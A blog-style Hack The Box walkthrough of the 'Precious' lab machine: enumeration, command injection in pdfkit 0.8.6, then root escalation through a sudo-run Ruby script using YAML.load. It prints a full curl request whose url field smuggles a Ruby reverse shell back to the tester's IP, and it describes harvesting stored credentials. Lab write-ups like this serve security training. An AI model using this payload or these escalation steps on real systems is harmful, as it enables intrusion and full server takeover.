HTB - Precious Walkthrough
By: Luigi Vezzoso | #walkthrough #hackthebox #pentest
Hi There!
here we go with a new walkthrough of Hack The Box Precious Machine!
initial footprint
I start my analisys using black-box approach, and I need to figure out what type of server I have in front of me. Let’s run our loved tool nmap.
service enumeration
The result of nmap scan shown a very little attack surface, in terms of exposed services, is available.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
We leave port 22 as last chance as usually it doesn’t provide possibility to attack the box in a simple way due:
- encrypted traffic
- auth required - brute force is time consuming
- very common and tested service - so not common exploit
80/tcp open http nginx 1.18.0
Opening the port 80 using standard browser we were able to access a website/web-application which seems to provide a service to convert a webpage into a pdf.
note: I have added the fqdn of this website (precious.htb) into hosts file for a better name resolution (i.e. in case of redirects)
Let’s try if this service is working or if it’s just a static page :) - Supposing that we cannot reach external links from HTB machine we are going to run a local HTTP server to respond requests. First we can create a very simple web page like the following example (webpage.html) then we can run a simple HTTP server using python.
Using the browser we can try to request our webpage…
and…. yes! The exposed service seems working fine converting our webpage to a PDF!
The service is created using pdfkit 0.8.6 - Usually dureing a pentest we have to identify all interaction point, all input data from the user, all the upload function, etc. The file upload function for PDF convertion appear like a good entry point. Let’s dig more trying to understand how pdfkit is working. Searching on the Net first results are literaly vulnerability on the component….. we are facing to well know CVE.
We should read carefully the POC code - The CVE is relative to a command injection on data submitted to service. We could try to inject a remote connetion to our listner.
xabaras@helix:~/workdir/ctf/htb/precious.htb$ curl 'precious.htb' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: precious.htb' -H 'Connection: keep-alive' -H 'Referer: precious.htb' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'url=http%3A%2F%2F10.10.14.184%3A8899%2F%3Fname%3D%2520%60+ruby+-rsocket+-e%27spawn%28%22sh%22%2C%5B%3Ain%2C%3Aout%2C%3Aerr%5D%3D%3ETCPSocket.new%28%2210.10.14.184%22%2C8899%29%29%27%60'
Thanks to https://github.com/PurpleWaveIO/CVE-2022-25765-pdfkit-Exploit-Reverse-Shell for the already done job!
Boom we got a shell!
Lateral moovemnt
Now starts the second phase of the attack: privilege escalation - after having compromising the service we got a shell for a non-admin user and we can get the user flag. The goal is to reach root privileges to complete the exercise.
First of all we can try to see which users are defined in the server looking to /etc/passwd or doing ls on the /home/ folder. We are operating as the ruby user… so let’s see on our home folder.
Let’s try to have a look
The only not common things is the .bundle folder. Let’s dive in!
Boom! We found something that likely are the user credential…. and the user flag too!
The goal is not to execute command with root privileges…. something like sudo… why do not have a look on sudo permission/configuration?
And we see that the henry user can execute with root privileges usr/bin/ruby /opt/update_dependencies.rb script.
We should investigate deeper the script to understand the functionality… and first let’s check writing permission on that.
This script try to load list of ruby dependency from local file and it will try to check the variation from the installed one. The entry point (injection point) is the usage of dependencies.yml file. The function used to load dependency file is the YAML.load. Let’s check again on the NET about the usage of the function…. and again we are facing to a possible well-know CVE!
Seems possible to craft a dependencies.yml file that will trigger a code execution… with the script provileges.. so root user in this case!
Running the script using sudo we should be able to spawn a root shell.